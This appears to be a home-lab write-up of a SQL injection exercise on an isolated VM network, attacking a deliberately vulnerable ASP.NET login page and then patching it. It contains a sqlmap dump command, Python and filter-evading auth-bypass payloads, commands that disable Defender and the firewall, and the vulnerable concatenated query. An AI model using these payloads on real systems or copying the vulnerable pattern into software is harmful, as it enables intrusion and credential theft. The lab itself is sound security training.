SQL Injection: sqlmap & Parameterized Queries

Overview

This lab simulates a full SQL injection attack chain against a real ASP.NET web application running on IIS with a Microsoft SQL Server backend — then switches to blue team to implement proper defenses. The vulnerable app is deployed intentionally to demonstrate classic SQLi, and then patched using parameterized queries.

Environment:

• Kali Linux (Attacker): 192.168.0.101
• Windows Server 2022 (Victim/Server): 192.168.0.102
• Stack: IIS + ASP.NET 4.8 + SQL Server Express (SQLEXPRESS) + SSMS

All activity was performed inside an isolated Host-Only VM environment.

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Task 1: Environment Setup & Connectivity

Disabled Windows Defender and Firewall on the Windows Server before starting:

Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Get-NetFirewallProfile | Format-Table Name, Enabled

Verified bidirectional connectivity:

# Kali
ping -c 4 192.168.0.102

# Windows
ping 192.168.0.101

Kali pinging Windows Server — connectivity confirmed

Windows Server pinging Kali — Defender and firewall disabled

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Task 2: Install IIS and ASP.NET

On Windows Server, installed the web stack via Server Manager:

• Web Server (IIS)
• ASP.NET 4.8
• .NET Framework 4.8 Features
• ISAPI Extensions and ISAPI Filters

Verified by browsing to http://localhost — the default IIS page appeared.

IIS default page — web server running

IIS + ASP.NET roles confirmed in Server Manager

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Task 3: SQL Server Setup

Installed SQL Server Express and SSMS, then:

1. Connected to localhost\SQLEXPRESS using SQL Server Authentication
2. Created database SecureDB
3. Created login webuser / StrongPassw0rd! mapped to SecureDB with db_owner
4. Created and populated the Users table:

USE SecureDB;
GO

CREATE TABLE Users (
    Id INT PRIMARY KEY IDENTITY(1,1),
    Username VARCHAR(50),
    Password VARCHAR(50)
);

INSERT INTO Users (Username, Password) VALUES
('admin', 'admin123'),
('user1', 'pass1'),
('user2', 'pass2');

Enable “SQL Server and Windows Authentication mode” in server properties if webuser login fails, then restart the SQLEXPRESS service.

SSMS connected — SecureDB created

Users table populated with test credentials

webuser mapped to SecureDB with db_owner role

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Task 4: Deploying the Vulnerable ASP.NET App

Created C:\inetpub\wwwroot\VulnerableApp\Login.aspx — a deliberately vulnerable login page that concatenates user input directly into a SQL query with no sanitization:

// VULNERABLE — never do this in production
string query = "SELECT * FROM Users WHERE Username='" + username + "' AND Password='" + password + "'";

Added the app in IIS Manager → Default Web Site → Add Application (Alias: VulnerableApp).

Browsed to http://localhost/VulnerableApp/Login.aspx and tested:

Vulnerable login form live on IIS

Login Successful with admin:admin123

Invalid Login — baseline behavior confirmed

The raw string concatenation clearly visible in the source

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Task 5: SQL Injection Attacks from Kali

5a. Automated Attack with sqlmap

sqlmap -u "http://192.168.0.102/VulnerableApp/Login.aspx" \
  --data="username=admin&password=admin" \
  --method=POST \
  --dbms=mssql \
  --risk=3 --level=5 --batch --dump

Key sqlmap flags:

Flag	Purpose
--dbms=mssql	Optimize payloads for Microsoft SQL Server
--risk=3	Include high-risk payloads
--level=5	Deep and aggressive testing
--batch	Auto-confirm all prompts
--dump	Extract database contents

sqlmap confirms the parameter is injectable

Users table extracted — plaintext credentials visible

5b. Manual Python SQLi Script

import requests

url = 'http://192.168.0.102/VulnerableApp/Login.aspx'
payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})
print("[+] Response:", r.text[:200])

The payload admin'/**/OR/**/1=1-- uses inline comments (/**/) to obfuscate the OR keyword, bypassing basic keyword filters while still evaluating to TRUE and authenticating as any user.

Login Successful returned — authentication bypassed without valid credentials

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Task 6: Defensive Measures

6.1 Parameterized Queries

The fix is replacing string concatenation with parameterized queries — user input never touches the SQL string:

// SECURE — parameterized query
string query = "SELECT * FROM Users WHERE Username = @u AND Password = @p";
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@u", username);
cmd.Parameters.AddWithValue("@p", password);

With parameterized queries, admin'/**/OR/**/1=1-- is treated as a literal string, not SQL syntax — the login returns “Invalid Login” even with injection payloads.

6.2 SQL Server Hardening

Removed dangerous permissions from webuser:

REVOKE ALTER, DROP, EXEC FROM webuser;

6.3 IIS URL Rewrite Rules

Installed the URL Rewrite Module and created a rule to block requests containing UNION, ' OR, --, DELETE, EXEC. Also enabled Request Filtering to block .exe, .bat, .ps1, and PUT/DELETE HTTP methods.

Patched code — parameterized queries replacing string concatenation

Same injection payload now returns “Invalid Login” — attack neutralized

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Task 7: Monitoring and Alerts

Enabled IIS W3C logging (IIS Manager → Logging → W3C format → Apply), then checked:

• Event Viewer → Windows Logs → Application for SQL Server errors
• IIS logs for unusual POST patterns targeting Login.aspx

Attack trace visible in logs — repeated POST requests with injection characters

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Task 8 (Bonus): Obfuscated SQLi Bypass

Payload: admin'/**/OR/**/1=1--

This bypasses keyword-based filters by inserting SQL inline comments (/**/) between the OR keyword. A naive filter looking for the literal string ` OR ` won’t match /**/OR/**/ — but SQL Server strips those comments during parsing and executes the underlying logic.

payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})

Login Successful — obfuscated payload bypasses basic keyword filter

Same bypass working via Python script

Why obfuscation works: signature-based filters match exact text patterns. Adding /**/ breaks the exact match while the SQL engine reconstructs the original logic. This is why parameterized queries are the only reliable defense — they make the SQL structure immutable regardless of what the input contains.

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Key Takeaways

Red Team:

• sqlmap fully automated the extraction — database schema, table names, and plaintext passwords in one command
• Manual Python injection confirmed the same bypass works without any tooling
• Obfuscated payloads (/**/OR/**/) evade basic string-match filters trivially

Blue Team:

• Parameterized queries are the only real fix — URL Rewrite rules and keyword filters are bypassable, parameterized queries are not
• IIS logs + Event Viewer provide a clear forensic trail of injection attempts
• Principle of least privilege matters: webuser with db_owner gave the attacker far more access than a login page needs